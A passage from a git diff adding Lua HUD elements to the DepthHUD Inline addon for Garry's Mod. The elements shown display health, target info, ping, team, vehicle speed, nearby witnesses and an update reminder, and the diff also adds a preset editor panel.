LocalPlayer():Alive() then + self.healthColor = nil + local rate = LocalPlayer():Health() / 100 + if (rate > 0.25) then + self.healthColor = nil + else + self.healthColor = self.colorBad + end + + if (LocalPlayer():Health() != self.LastHealth) then + local accum = dhinline_GetVolatileStorage("health_evolution") or 0 + self.color = nil + local text = "" + accum = accum + (LocalPlayer():Health() - self.LastHealth) + + if (accum > 0) then + self.color = self.accumPositive + text = "+" .. accum + else + self.color = self.accumNegative + text = "" .. accum + end + + + self:UpdateVolatile( +/*Vola */ "health_evolution" +/*xRelOff*/ ,self.xRelPosEvo +/*yRelOff*/ ,self.yRelPosEvo +/*Text */ ,text +/*Color */ ,self.color +/*LagMul */ ,self.EvoLagMul +/*Font */ ,nil +/*Time */ ,self.EvoDuration +/*FadePow*/ ,self.EvoPower +/*Storage*/ ,accum + ) + end + + self:DrawGenericInfobox( +/*Text */ LocalPlayer():Health() +/*Subtxt */ ,"" +/* % */ ,rate +/*atRight*/ ,false +/*0.0 col*/ ,self.colorBadLesser +/*1.0 col*/ ,nil +/*minSize*/ ,1.0 +/*maxSize*/ ,1.0 +/*blink< */ ,0.05 +/*blinkSz*/ ,1.0 +/*Font */ ,nil +/*bStatic*/ ,true +/*stCol */ ,self.healthColor +/*stColSm*/ ,nil + ) + end + + self.LastHealth = LocalPlayer():Health() + + return true +end diff --git a/Repos/HeXs_DepthHUD-master/lua/depthhud_inline_element/info_target.lua b/Repos/HeXs_DepthHUD-master/lua/depthhud_inline_element/info_target.lua new file mode 100644 index 0000000..d90affe --- /dev/null +++ b/Repos/HeXs_DepthHUD-master/lua/depthhud_inline_element/info_target.lua @@ -0,0 +1,155 @@ +ELEMENT.Name = "Target Information" +ELEMENT.DefaultOff = true +ELEMENT.DefaultGridPosX = 8 +ELEMENT.DefaultGridPosY = 10 +ELEMENT.SizeX = 0 +ELEMENT.SizeY = -0.7 + +ELEMENT.LastTimeStored = 0 +ELEMENT.PersistTime = 1.0 +ELEMENT.StoredName = "" +ELEMENT.StoredSub = "" + +ELEMENT.HeightStartWaitup = -640.0 +ELEMENT.HeightRateDispell = 0.4 + +ELEMENT.MyTraceData = {} +ELEMENT.MyTraceRes = {} + +ELEMENT.textColor = Color(0, 255, 255, 255) + +ELEMENT.baseColor = dhinline_GetStyleData("color_base") +ELEMENT.baseColorLesser = dhinline_GetStyleData("color_base_lesser") + +function ELEMENT:Initialize() + self:CreateSmoother("width", 0, 0.7) + self:CreateSmoother("height", 1.0, 0.7) + self:CreateSmoother("color" , self.baseColorLesser, 0.1) + self:CreateSmoother("health", 1, 0.2) +end + + + +function ELEMENT:DrawFunction() + local found = false + local blinkSize = -1 + self.MyTraceData = util.GetPlayerTrace( LocalPlayer(), LocalPlayer():GetAimVector() ) + + local Veh = LocalPlayer():GetVehicle() + if IsValid(Veh) then + self.MyTraceData.filter = Veh + end + + + self.MyTraceRes = util.TraceLine( self.MyTraceData ) + + if (self.MyTraceRes.Hit) and (self.MyTraceRes.HitNonWorld) and IsValid(self.MyTraceRes.Entity) and (self.MyTraceRes.Entity != LocalPlayer()) then + local name = "" + local HitEntity = self.MyTraceRes.Entity + + if (HitEntity:IsPlayer()) then + name = HitEntity:Nick() + if (HitEntity.dhradar_communitycolor) then + self:ChangeSmootherTarget("color", HitEntity.dhradar_communitycolor) + else + self:ChangeSmootherTarget("color", team.GetColor(HitEntity:Team())) + end + self:ChangeSmootherTarget("health", math.Clamp(HitEntity:Health()/100,0,1)) + self.StoredSub = "Player" + if (table.Count(team.GetAllTeams()) > 3) then + self.StoredSub = self.StoredSub .. " (" .. team.GetName(HitEntity:Team()) .. ")" + end + else + name = HitEntity:GetClass() + self:ChangeSmootherTarget("color", self.baseColorLesser) + self:ChangeSmootherTarget("health", 1) + if HitEntity:IsNPC() then + self.StoredSub = "NPC" + /* + elseif HitEntity:GetClass() == "gmt_theater" then + self.StoredSub = HitEntity.VideoId + */ + else + local subName = "" + if string.Right(HitEntity:GetModel() , 4) == ".mdl" then + local parts = string.Explode("/", HitEntity:GetModel() ) + subName = dhinline_StringNiceNameTransform( string.Left(parts[#parts] , -5) ) + else + if (string.Left(HitEntity:GetClass(),4) == "prop") then + subName = "Prop" + elseif (string.Left(HitEntity:GetClass(),4) == "func") then + subName = "World Entity" + else + subName = "Entity" + end + end + self.StoredSub = subName + end + end + + name = dhinline_StringNiceNameTransform( name ) + + surface.SetFont( dhinline_GetAppropriateFont(name, 1) ) + local wB, hB = surface.GetTextSize( name ) + surface.SetFont( dhinline_GetAppropriateFont(self.StoredSub, 0) ) + local wS, hS = surface.GetTextSize( self.StoredSub ) + local w = math.Max(wB,wS) + local x, y = self:GetMySizes() + + self:ChangeSmootherTarget("width", 44 + w) + self:ChangeSmootherTarget("height", self.HeightStartWaitup) + self:ChangeSmootherRate("width", 0.7) + self:ChangeSmootherRate("height", 0.7) + self.StoredName = name + + found = true + self.LastTimeStored = RealTime() + end + + if (self.StoredName != "") and (not found) and ((RealTime() - self.LastTimeStored) > self.PersistTime) then + self.StoredName = "" + self.StoredSub = "" + self:ChangeSmootherTarget("color", self.baseColorLesser) + self:ChangeSmootherTarget("health", 1) + + self:ChangeSmootherTarget("width", 0) + self:ChangeSmootherTarget("height", 1.0) + self:ChangeSmootherRate("width", 0.1) + self:ChangeSmootherRate("height", self.HeightRateDispell) + end + + self.SizeX = self:GetSmootherCurrent("width") + if self:GetSmootherCurrent("height") > 0 then + blinkSize = 1.0 + math.Clamp(self:GetSmootherCurrent("height"), 0, 1) + end + local color = self:GetSmootherCurrent("color") + local rate = self:GetSmootherCurrent("health") + + local mX,mY = self:GetMySizes() + if (self.SizeY > -0.1) then + return + end + + self.textColor.r = self.baseColor.r + self.textColor.g = self.baseColor.g + self.textColor.b = self.baseColor.b + self.textColor.a = ( 1 - ((RealTime() - self.LastTimeStored)/self.PersistTime)^8 ) * 255 + + self:DrawGenericInfobox( +/*Text */ self.StoredName +/*Subtxt */ ,self.StoredSub +/* % */ ,rate +/*atRight*/ ,false +/*0.0 col*/ ,color +/*1.0 col*/ ,color +/*minSize*/ ,0.2 +/*maxSize*/ ,1.0 +/*blink< */ ,-1 +/*blinkSz*/ ,blinkSize +/*Font */ ,1 +/*bStatic*/ ,true +/*stCol */ ,self.textColor +/*stColSm*/ ,nil + ) + return false +end diff --git a/Repos/HeXs_DepthHUD-master/lua/depthhud_inline_element/ping.lua b/Repos/HeXs_DepthHUD-master/lua/depthhud_inline_element/ping.lua new file mode 100644 index 0000000..fc25a94 --- /dev/null +++ b/Repos/HeXs_DepthHUD-master/lua/depthhud_inline_element/ping.lua @@ -0,0 +1,103 @@ +ELEMENT.Name = "Ping" +ELEMENT.DefaultOff = false +ELEMENT.DefaultGridPosX = 0 +ELEMENT.DefaultGridPosY = 2 +ELEMENT.SizeX = nil +ELEMENT.SizeY = nil + +ELEMENT.PingAlert = 0.15 //IN SECONDS, 0.1 = 100 MS +ELEMENT.PingCur = RealTime() - CurTime() + +ELEMENT.xRelPosEvo = -0.55 +ELEMENT.yRelPosEvo = 0 + +ELEMENT.EvoLagMul = 1.25 +ELEMENT.EvoDuration = 2 +ELEMENT.EvoPower = 4 + +ELEMENT.smootherColor = nil +ELEMENT.colorBad = Color(255,0,0,192) +ELEMENT.colorBadLesser = Color(255,0,0,92) +ELEMENT.colorVolatile = Color(255,192,128,192) + +function ELEMENT:Initialize( ) + self:CreateSmoother("ping", 10, 0.1) + self:CreateSmoother("color", dhinline_GetStyleData("color_base"), 0.1) + + self:CreateSmoother("unsyncpercent", 0, 0.05) +end + +function ELEMENT:DrawFunction( ) + if not game.SinglePlayer() then + local ping_smooth = math.floor(self:GetSmootherCurrent("ping")) + local smallText = "MS" + self:ChangeSmootherTarget("ping", LocalPlayer():Ping()) + + local estimaCheck = math.abs( RealTime() - self.PingCur - CurTime() ) + + self:ChangeSmootherTarget("unsyncpercent", estimaCheck/self.PingAlert) + local currentunsync = self:GetSmootherCurrent("unsyncpercent") + + //Zero is too perfect + if (estimaCheck > self.PingAlert) or (estimaCheck == 0) then + self.PingCur = RealTime() - CurTime() + + self:ChangeSmootherTarget("color", self.colorBad ) + + self:ChangeSmootherRate("color", 0.7) + + local accum = dhinline_GetVolatileStorage("ping_loss") or 0 + accum = accum + 1 + + local text = "" + /*if (accum < 100) then + text = accum .. " UNSYNC" + else + text = accum .. " UNSYNC (ISSUE)" + end*/ + text = "x" .. accum .. "" + if (estimaCheck == 0) then + text = text .. ".." + end + self:UpdateVolatile( +/*Vola */ "ping_loss" +/*xRelOff*/ ,self.xRelPosEvo +/*yRelOff*/ ,self.yRelPosEvo +/*Text */ ,text +/*Color */ ,self.colorVolatile +/*LagMul */ ,self.EvoLagMul +/*Font */ ,-1 +/*Time */ ,self.EvoDuration +/*FadePow*/ ,self.EvoPower +/*Storage*/ ,accum + ) + + else + self.PingCur = self.PingCur + (RealTime() - self.PingCur - CurTime())*0.05*FrameTime() + + self:ChangeSmootherTarget("color", dhinline_GetStyleData("color_base")) + + self:ChangeSmootherRate("color", 0.02) + end + self.smootherColor = self:GetSmootherCurrent("color") + + self:DrawGenericInfobox( + /*Text */ ping_smooth + /*Subtxt */ ,smallText + /* % */ ,1 - currentunsync + /*atRight*/ ,false + /*0.0 col*/ ,self.colorBadLesser + /*1.0 col*/ ,nil + /*minSize*/ ,0.2 + /*maxSize*/ ,1.0 + /*blink< */ ,-1 + /*blinkSz*/ ,1.0 + /*Font */ ,nil + /*bStatic*/ ,true + /*stCol */ ,self.smootherColor + /*stColSm*/ ,nil + ) + end + + return true +end diff --git a/Repos/HeXs_DepthHUD-master/lua/depthhud_inline_element/team.lua b/Repos/HeXs_DepthHUD-master/lua/depthhud_inline_element/team.lua new file mode 100644 index 0000000..42640bd --- /dev/null +++ b/Repos/HeXs_DepthHUD-master/lua/depthhud_inline_element/team.lua @@ -0,0 +1,73 @@ +ELEMENT.Name = "Team" +ELEMENT.DefaultOff = true +ELEMENT.DefaultGridPosX = 0 +ELEMENT.DefaultGridPosY = 14 +ELEMENT.SizeX = nil +ELEMENT.SizeY = -0.6 + +ELEMENT.MyTeamID = nil +ELEMENT.MyTeamColor = color_white +ELEMENT.StoredName = "" +ELEMENT.StoredSub = "" + +function ELEMENT:Initialize( ) + self:CreateSmoother("width", 0, 0.3) + self:CreateSmoother("color" , self.MyTeamColor, 0.1) +end + +function ELEMENT:DrawFunction( ) + if game.SinglePlayer() then return end + //if (table.Count(team.GetAllTeams()) == 3) then return end + + //Team Name and Color + if (LocalPlayer():Team() != self.MyTeamID) or (LocalPlayer().dhradar_communitycolor and (self.MyTeamColor != LocalPlayer().dhradar_communitycolor)) then + self.MyTeamID = LocalPlayer():Team() + self.MyTeamColor = LocalPlayer().dhradar_communitycolor or team.GetColor(self.MyTeamID) + + self.StoredSub = team.GetName(self.MyTeamID) + self.StoredSub = (self.StoredSub == "Unassigned") and "Community" or self.StoredSub + + self:ChangeSmootherTarget("color", self.MyTeamColor) + end + + + //Number of players + self.StoredName = team.NumPlayers(self.MyTeamID) .. " player" + if (team.NumPlayers(self.MyTeamID) > 1) then + self.StoredName = self.StoredName .. "s" + end + + surface.SetFont( dhinline_GetAppropriateFont(self.StoredName, 1) ) + local wB, hB = surface.GetTextSize( self.StoredName ) + + surface.SetFont( dhinline_GetAppropriateFont(self.StoredSub, 0) ) + local wS, hS = surface.GetTextSize( self.StoredSub ) + + local w = math.Max(wB,wS) + + self:ChangeSmootherTarget("width", 38 + w) + + + + self.SizeX = self:GetSmootherCurrent("width") + local color = self:GetSmootherCurrent("color") + + self:DrawGenericInfobox( +/*Text */ self.StoredName +/*Subtxt */ ,self.StoredSub +/* % */ ,1.0 +/*atRight*/ ,false +/*0.0 col*/ ,color +/*1.0 col*/ ,color +/*minSize*/ ,0 +/*maxSize*/ ,1.0 +/*blink< */ ,-1 +/*blinkSz*/ ,1 +/*Font */ ,1 +/*bStatic*/ ,true +/*stCol */ ,nil +/*stColSm*/ ,nil + ) + return false +end + diff --git a/Repos/HeXs_DepthHUD-master/lua/depthhud_inline_element/vehiclespeed.lua b/Repos/HeXs_DepthHUD-master/lua/depthhud_inline_element/vehiclespeed.lua new file mode 100644 index 0000000..fc28201 --- /dev/null +++ b/Repos/HeXs_DepthHUD-master/lua/depthhud_inline_element/vehiclespeed.lua @@ -0,0 +1,57 @@ +ELEMENT.Name = "Vehicle Speedometer (MPH)" +ELEMENT.DefaultOff = false +ELEMENT.DefaultGridPosX = 16 +ELEMENT.DefaultGridPosY = 0 +ELEMENT.SizeX = nil +ELEMENT.SizeY = nil + +ELEMENT.Unit = "MPH" +ELEMENT.UNITLIST = { + ["MPH"] = { + 63360 / 3600, + "MPH", + }, + ["KM/H"] = { + 39370.0787 / 3600, + "KM/H", + }, +} + +function ELEMENT:Initialize( ) + +end + +function ELEMENT:DrawFunction( ) + //Vehicle Speed + if LocalPlayer():InVehicle() then + local unit = self.Unit + local vehicleVel = LocalPlayer():GetVehicle():GetVelocity():Length() + local vehicleConv = -1 + local terminal = 0 + + if self.UNITLIST[unit] == nil then + unit = "MPH" + end + terminal = math.Clamp(vehicleVel/2000, 0, 1) + vehicleConv = math.Round(vehicleVel / self.UNITLIST[unit][1]) + + self:DrawGenericInfobox( +/*Text */ vehicleConv +/*Subtxt */ ,self.UNITLIST[unit][2] +/* % */ ,terminal +/*atRight*/ ,true +/*0.0 col*/ ,nil +/*1.0 col*/ ,nil +/*minSize*/ ,0 +/*maxSize*/ ,1.0 +/*blink< */ ,-1 +/*blinkSz*/ ,1.0 +/*Font */ ,nil +/*bStatic*/ ,true +/*stCol */ ,nil +/*stColSm*/ ,nil + ) + end + + return true +end diff --git a/Repos/HeXs_DepthHUD-master/lua/depthhud_inline_element/vehiclespeed_kmh.lua b/Repos/HeXs_DepthHUD-master/lua/depthhud_inline_element/vehiclespeed_kmh.lua new file mode 100644 index 0000000..d5de97f --- /dev/null +++ b/Repos/HeXs_DepthHUD-master/lua/depthhud_inline_element/vehiclespeed_kmh.lua @@ -0,0 +1,57 @@ +ELEMENT.Name = "Vehicle Speedometer (KM/H)" +ELEMENT.DefaultOff = true +ELEMENT.DefaultGridPosX = 16 +ELEMENT.DefaultGridPosY = 0 +ELEMENT.SizeX = nil +ELEMENT.SizeY = nil + +ELEMENT.Unit = "KM/H" +ELEMENT.UNITLIST = { + ["MPH"] = { + 63360 / 3600, + "MPH", + }, + ["KM/H"] = { + 39370.0787 / 3600, + "KM/H", + }, +} + +function ELEMENT:Initialize( ) + +end + +function ELEMENT:DrawFunction( ) + //Vehicle Speed + if LocalPlayer():InVehicle() then + local unit = self.Unit + local vehicleVel = LocalPlayer():GetVehicle():GetVelocity():Length() + local vehicleConv = -1 + local terminal = 0 + + if self.UNITLIST[unit] == nil then + unit = "MPH" + end + terminal = math.Clamp(vehicleVel/2000, 0, 1) + vehicleConv = math.Round(vehicleVel / self.UNITLIST[unit][1]) + + self:DrawGenericInfobox( +/*Text */ vehicleConv +/*Subtxt */ ,self.UNITLIST[unit][2] +/* % */ ,terminal +/*atRight*/ ,true +/*0.0 col*/ ,nil +/*1.0 col*/ ,nil +/*minSize*/ ,0 +/*maxSize*/ ,1.0 +/*blink< */ ,-1 +/*blinkSz*/ ,1.0 +/*Font */ ,nil +/*bStatic*/ ,true +/*stCol */ ,nil +/*stColSm*/ ,nil + ) + end + + return true +end diff --git a/Repos/HeXs_DepthHUD-master/lua/depthhud_inline_element/witnesses.lua b/Repos/HeXs_DepthHUD-master/lua/depthhud_inline_element/witnesses.lua new file mode 100644 index 0000000..b7b2e26 --- /dev/null +++ b/Repos/HeXs_DepthHUD-master/lua/depthhud_inline_element/witnesses.lua @@ -0,0 +1,131 @@ +ELEMENT.Name = "Witnesses" +ELEMENT.DefaultOff = true +ELEMENT.DefaultGridPosX = 8 +ELEMENT.DefaultGridPosY = 0 +ELEMENT.SizeX = -1.3 +ELEMENT.SizeY = -0.65 + +//ELEMENT.MaxWitnesses = 10 +ELEMENT.colorBadLesser = Color(255,0,0,92) + +ELEMENT.myRealPos = nil +ELEMENT.myTrace = {} +ELEMENT.myTraceRes = {} +ELEMENT.myTraceRes.mask = MASK_SOLID_BRUSHONLY + +ELEMENT.angleCap = math.cos(math.rad(45)) +//print(ELEMENT.angleCap) + +ELEMENT.lastWitnessCheck = 0 +ELEMENT.witnessCheckDelay = 0.3 + +ELEMENT.counter = 0 +ELEMENT.looking = 0 + +ELEMENT.TIME_LastPlayerFind = 0 +ELEMENT.TIME_DELAY_PLY = 2.0 + +ELEMENT.FINDER_Players = {} + +ELEMENT.eyeOffs = Vector(0,0,32) + + +function ELEMENT:Initialize( ) + self:CreateSmoother("area", 0, 0.1) + self:CreateSmoother("looking", 0, 0.1) + self:CreateSmoother("rate", 0, 0.2) +end + +function ELEMENT:UseMyOwnFindPlayers() + if (CurTime() < (self.TIME_LastPlayerFind + self.TIME_DELAY_PLY)) then return end + + self.FINDER_Players = {} + self.FINDER_Players = player.GetAll() + for k,ply in pairs(self.FINDER_Players) do + if (ply:Team() == TEAM_SPECTATOR) then + table.remove( self.FINDER_Players, k ) + end + end + self.TIME_LastPlayerFind = CurTime() +end + +function ELEMENT:GetBestPlayerTable() + if (dhradar_dat and dhradar_dat.FINDER_Players) and (GetConVarNumber("dhradar_enable") > 0) then + return dhradar_dat.FINDER_Players + else + self:UseMyOwnFindPlayers() + return self.FINDER_Players + end +end + +function ELEMENT:DrawFunction( ) + if game.SinglePlayer() then return end + + local area_smooth = nil + local looking_smooth = nil + local rate_smooth = nil + local text = "" + local smallText = "" + local rate = 0 + + local myBestPlayerTable = self:GetBestPlayerTable() + if (CurTime() > ( self.lastWitnessCheck + self.witnessCheckDelay )) then + self.looking = 0 + self.counter = 0 + + self.myRealPos = LocalPlayer():EyePos() + for k,ply in pairs(myBestPlayerTable) do + if ply:IsValid() and (ply != LocalPlayer()) then + self.myTrace.start = self.myRealPos + self.eyeOffs + self.myTrace.endpos = ply:EyePos() + self.eyeOffs + self.myTrace.filter = { ply , LocalPlayer() } + + self.myTraceRes = util.TraceLine( self.myTrace ) + if (not self.myTraceRes.Hit) then + self.counter = self.counter + 1 + + local Norm = (self.myRealPos - ply:EyePos()) + Norm:Normalize() + if (ply:EyeAngles():Forward():DotProduct(Norm) > self.angleCap) then + self.looking = self.looking + 1 + end + end + end + end + self:ChangeSmootherTarget("area", self.counter) + self:ChangeSmootherTarget("looking", self.looking) + + self.lastWitnessCheck = CurTime() + end + + looking_smooth = math.Round(self:GetSmootherCurrent("looking")) + area_smooth = math.Round(self:GetSmootherCurrent("area")) + + rate = (1 - math.Clamp(looking_smooth / math.Clamp(area_smooth,1,128),0,1))^2 + self:ChangeSmootherTarget("rate", rate) + + text = looking_smooth .. " / " .. area_smooth + smallText = "WITNESSES" + + rate_smooth = self:GetSmootherCurrent("rate") + + + self:DrawGenericInfobox( +/*Text */ text +/*Subtxt */ ,smallText +/* % */ ,rate_smooth or rate +/*atRight*/ ,false +/*0.0 col*/ ,self.colorBadLesser +/*1.0 col*/ ,nil +/*minSize*/ ,1.0 +/*maxSize*/ ,1.0 +/*blink< */ ,-1 +/*blinkSz*/ ,1.0 +/*Font */ ,1 +/*bStatic*/ ,true +/*stCol */ ,nil +/*stColSm*/ ,nil + ) + + return true +end diff --git a/Repos/HeXs_DepthHUD-master/lua/depthhud_inline_element/z_updatereminder.lua b/Repos/HeXs_DepthHUD-master/lua/depthhud_inline_element/z_updatereminder.lua new file mode 100644 index 0000000..40831af --- /dev/null +++ b/Repos/HeXs_DepthHUD-master/lua/depthhud_inline_element/z_updatereminder.lua @@ -0,0 +1,139 @@ +// NOTE : This is ONLY a REMINDER. It doesn't check for updates +// periodically while in the middle of a game. +// Updates are checked when map loads. +// This element ONLY displays a message 45 seconds after map loading, +// for 15 seconds, ONCE a map, and does not display if up to date. + +ELEMENT.Name = "On-screen Update Reminder" +ELEMENT.DefaultOff = false +ELEMENT.DefaultGridPosX = 8 +ELEMENT.DefaultGridPosY = 15 +ELEMENT.SizeX = nil +ELEMENT.SizeY = -0.7 + +ELEMENT.baseColor = dhinline_GetStyleData("color_base") + +ELEMENT.PersistTime = 15.0 //How long the message displays +ELEMENT.CheckAfterLoadingDelay = 45.0 //The delay before message appears + + +ELEMENT.GetVersionRealTime = RealTime() + ELEMENT.CheckAfterLoadingDelay + +ELEMENT.SafeEndDraw = 5.0 +ELEMENT.StoredName = "" +ELEMENT.StoredSub = "" +ELEMENT.Blinkcap = -1 + +ELEMENT.HeightStartWaitup = -640.0 +ELEMENT.HeightRateDispell = 0.4 + +ELEMENT.WarningColor = Color(64,192,64,192) + +ELEMENT.AlreadyChecked = false +ELEMENT.IsDisplayingPopup = false + +ELEMENT.textColor = Color(ELEMENT.baseColor.r, ELEMENT.baseColor.g, ELEMENT.baseColor.b, 255) + +function ELEMENT:Initialize( ) + self:CreateSmoother("width", 0, 0.7) + self:CreateSmoother("height", 1.0, 0.7) +end + +function ELEMENT:DrawFunction() + if not self.IsDisplayingPopup then + if self.AlreadyChecked then return end + if RealTime() < self.GetVersionRealTime then return end + end + + self.AlreadyChecked = true + + local myVer,svnVer,dlLink = dhinline_GetVersionData() + + if not self.IsDisplayingPopup and ((svnVer == nil) or (svnVer == -1) or (myVer >= svnVer)) then + self.IsDisplayingPopup = false + return + else + self.IsDisplayingPopup = true + + self.StoredName = "DepthHUD Inline Update : v".. myVer .." to v".. svnVer..". " + if (math.floor(svnVer*10) - math.floor(myVer*10)) > 0 then + self.StoredName = self.StoredName .. "(Feature update)" + elseif (math.floor(svnVer*100) - math.floor(myVer*100)) > 0 then + self.StoredName = self.StoredName .. "(Fix update)" + elseif (math.floor(svnVer*1000) - math.floor(myVer*1000)) > 0 then + self.StoredName = self.StoredName .. "(Betatesting update)" + end + self.StoredSub = "Please open the DepthHUD Inline menu for more information." + + local blinkSize = 1 + //Should disappear ? + + if (RealTime() > (self.PersistTime + self.GetVersionRealTime + self.SafeEndDraw)) then + self.IsDisplayingPopup = false + end + + if (RealTime() > (self.PersistTime + self.GetVersionRealTime)) then + self.StoredName = "" + self.StoredSub = "" + + self:ChangeSmootherTarget("width", 0) + self:ChangeSmootherTarget("height", 1.0) + self:ChangeSmootherRate("width", 0.1) + self:ChangeSmootherRate("height", self.HeightRateDispell) + self.Blinkcap = -1.0 + + else + self.Blinkcap = 1.0 + + if self.StoredName == nil then self.StoredName = "ERROR" end + if self.StoredSub == nil then self.StoredSub = "ERROR" end + + surface.SetFont( dhinline_GetAppropriateFont(self.StoredName, 1) ) + local wB, hB = surface.GetTextSize( self.StoredName ) + + surface.SetFont( dhinline_GetAppropriateFont(self.StoredSub, 0) ) + local wS, hS = surface.GetTextSize( self.StoredSub ) + + local w = math.Max(wB,wS) + local x, y = self:GetMySizes() + + self:ChangeSmootherTarget("width", 44 + w) + self:ChangeSmootherTarget("height", self.HeightStartWaitup) + self:ChangeSmootherRate("width", 0.7) + self:ChangeSmootherRate("height", 0.7) + end + self.SizeX = self:GetSmootherCurrent("width") + if self:GetSmootherCurrent("height") > 0 then + blinkSize = 1.0 + math.Clamp(self:GetSmootherCurrent("height"), 0, 1) + end + //self.SizeY = (1-(1-math.Clamp(self:GetSmootherCurrent("height"),0,1))^8)*-0.7 + + local rate = 1 + + local mX,mY = self:GetMySizes() + + self.textColor.r = self.baseColor.r + self.textColor.g = self.baseColor.g + self.textColor.b = self.baseColor.b + + self.textColor.a = ( 1 - ((RealTime() - self.GetVersionRealTime)/self.PersistTime)^8 ) * 255 + + self:DrawGenericInfobox( + /*Text */ self.StoredName + /*Subtxt */ ,self.StoredSub + /* % */ ,rate + /*atRight*/ ,false + /*0.0 col*/ ,self.WarningColor + /*1.0 col*/ ,self.WarningColor + /*minSize*/ ,0.2 + /*maxSize*/ ,1.0 + /*blink< */ ,self.Blinkcap + /*blinkSz*/ ,blinkSize + /*Font */ ,1 + /*bStatic*/ ,true + /*stCol */ ,self.textColor + /*stColSm*/ ,nil + ) + return true + end +end diff --git a/Repos/HeXs_DepthHUD-master/lua/preset_editor.lua b/Repos/HeXs_DepthHUD-master/lua/preset_editor.lua new file mode 100644 index 0000000..cf65687 --- /dev/null +++ b/Repos/HeXs_DepthHUD-master/lua/preset_editor.lua @@ -0,0 +1,217 @@ +// +// ___ ___ _ _ _ __ _ ___ ___ __ __ +// |_ _|| __| / \ | \_/ | / _| / \ | o \ o \\ V / +// | | | _| | o || \_/ | ( |_n| o || / / \ / +// |_| |___||_n_||_| |_| \__/|_n_||_|\\_|\\ |_| 2007 +// +// + +local PANEL = {} + +AccessorFunc( PANEL, "m_strType", "Type" ) +AccessorFunc( PANEL, "m_ConVars", "ConVars" ) +AccessorFunc( PANEL, "m_PresetControl", "PresetControl" ) + + + +/*--------------------------------------------------------- + Name: Init +---------------------------------------------------------*/ +function PANEL:Init() + + // This needs to be drawn on top of the spawn menu.. + self:SetDrawOnTop( true ) + + self:SetSize( 450, 350 ) + self:SetTitle( "Preset Editor" ) + + self.PresetList = vgui.Create( "DComboBox", self ) + + self.pnlEditor = vgui.Create( "DPanel", self ) + + self.pnlDetails = vgui.Create( "DPanel", self.pnlEditor ) + + self.pnlModify = vgui.Create( "DPanel", self.pnlEditor ) + + self.btnDelete = vgui.Create( "DSysButton", self.pnlModify ) + self.btnDelete:SetType( "close" ) + self.btnDelete.DoClick = function() self:Delete() end + + self.txtRename = vgui.Create( "DTextEntry", self.pnlModify ) + + self.btnRename = vgui.Create( "DButton", self.pnlModify ) + self.btnRename:SetText( "#Rename" ) + self.btnRename.DoClick = function() self:Rename() end + + self.pnlAdd = vgui.Create( "DPanel", self ) + + self.txtName = vgui.Create( "DTextEntry", self.pnlAdd ) + + self.btnAdd = vgui.Create( "DButton", self.pnlAdd ) + self.btnAdd:SetText( "#Add Preset" ) + self.btnAdd.DoClick = function() self:Add() end + + self.pnlClose = vgui.Create( "DPanel", self ) + + self.btnCloseIt = vgui.Create( "DButton", self.pnlClose ) + self.btnCloseIt:SetText( "#Close" ) + self.btnCloseIt.DoClick = function() self:Remove() end + +end + +/*--------------------------------------------------------- + Name: SetType +---------------------------------------------------------*/ +function PANEL:SetType( strType ) + self.m_strType = strType + self:Update() +end + + +/*--------------------------------------------------------- + Name: Update +---------------------------------------------------------*/ +function PANEL:Update() + + self.PresetList:Clear() + + local Presets = presets.GetTable( self.m_strType ) + + for k, v in pairs( Presets ) do + + local item = self.PresetList:AddItem( k ) + item.Data = v + + end + +end + +/*--------------------------------------------------------- + Name: PerformLayout +---------------------------------------------------------*/ +function PANEL:PerformLayout() + + DFrame.PerformLayout( self ) + + self.pnlClose:SetSize( 100, 30 ) + self.pnlClose:AlignRight( 10 ) + self.pnlClose:AlignBottom( 10 ) + self.btnCloseIt:StretchToParent( 5, 5, 5, 5 ) + + self.pnlAdd:StretchToParent( 10, 10, 10, 10 ) + self.pnlAdd:CopyHeight( self.pnlClose ) + self.pnlAdd:AlignBottom( 10 ) + self.pnlAdd:StretchRightTo( self.pnlClose, 10 ) + + self.btnAdd:SetSize( 80, 20 ) + self.btnAdd:AlignRight( 5 ) + self.btnAdd:CenterVertical() + + self.txtName:SetPos( 5, 5 ) + self.txtName:StretchRightTo( self.btnAdd, 5 ) + self.txtName:CenterVertical() + + self.PresetList:StretchToParent( 10, 25, 5, 5 ) + self.PresetList:StretchBottomTo( self.pnlAdd, 10 ) + self.PresetList:SetWide( 130 ) + + self.pnlEditor:CopyBounds( self.PresetList ) + self.pnlEditor:MoveRightOf( self.PresetList, 5 ) + self.pnlEditor:StretchToParent( nil, nil, 10, nil ) + + self.pnlModify:StretchToParent( 5, 5, 5, 5 ) + self.pnlModify:SetTall( 30 ) + self.pnlModify:AlignBottom( 5 ) + + self.btnDelete:SetSize( 20, 20 ) + self.btnDelete:AlignRight( 5 ) + self.btnDelete:CenterVertical() + + self.btnRename:SetSize( 50, 20 ) + self.btnRename:MoveLeftOf( self.btnDelete, 5 ) + self.btnRename:CenterVertical() + + self.txtRename:StretchToParent( 5, 5, 5, 5 ) + self.txtRename:StretchRightTo( self.btnRename, 5 ) + + self.pnlDetails:CopyBounds( self.pnlModify ) + self.pnlDetails:AlignTop( 5 ) + self.pnlDetails:StretchBottomTo( self.pnlModify, 5 ) + + +end + +/*--------------------------------------------------------- + Name: +---------------------------------------------------------*/ +function PANEL:Delete() + + local Selected = self.PresetList:GetSelected() + if (!Selected) then return end + + presets.Remove( self.m_strType, Selected:GetValue() ) + self:Update() + + if ( self.m_PresetControl ) then + self.m_PresetControl:Update() + end + +end + +/*--------------------------------------------------------- + Name: +---------------------------------------------------------*/ +function PANEL:Rename() + + local Selected = self.PresetList:GetSelected() + if (!Selected) then return end + + local ToName = self.txtRename:GetValue() + if (!ToName || ToName == "") then return end + + // Todo, Handle name collision + + presets.Rename( self.m_strType, Selected:GetValue(), ToName ) + self:Update() + + self.PresetList:SelectByName( ToName ) + + self.txtRename:SetText( "" ) + + if ( self.m_PresetControl ) then + self.m_PresetControl:Update() + end + +end + +/*--------------------------------------------------------- + Name: +---------------------------------------------------------*/ +function PANEL:Add() + + if ( !self.m_ConVars ) then return end + + local ToName = self.txtName:GetValue() + if (!ToName || ToName == "") then return end + + // Todo, Handle name collision + local tabValues = {} + + for k, v in pairs( self.m_ConVars ) do + tabValues[ v ] = GetConVarString( v ) + end + + presets.Add( self.m_strType, ToName, tabValues ) + self:Update() + + self.PresetList:SelectByName( ToName ) + + self.txtName:SetText( "" ) + + if ( self.m_PresetControl ) then + self.m_PresetControl:Update() + end + +end + +vgui.Register( "PresetEditor", PANEL, "DFrame" ) diff --git a/Repos/HeXs_DepthHUD-master/materials/depthhud/X_CircleSolid.vmt 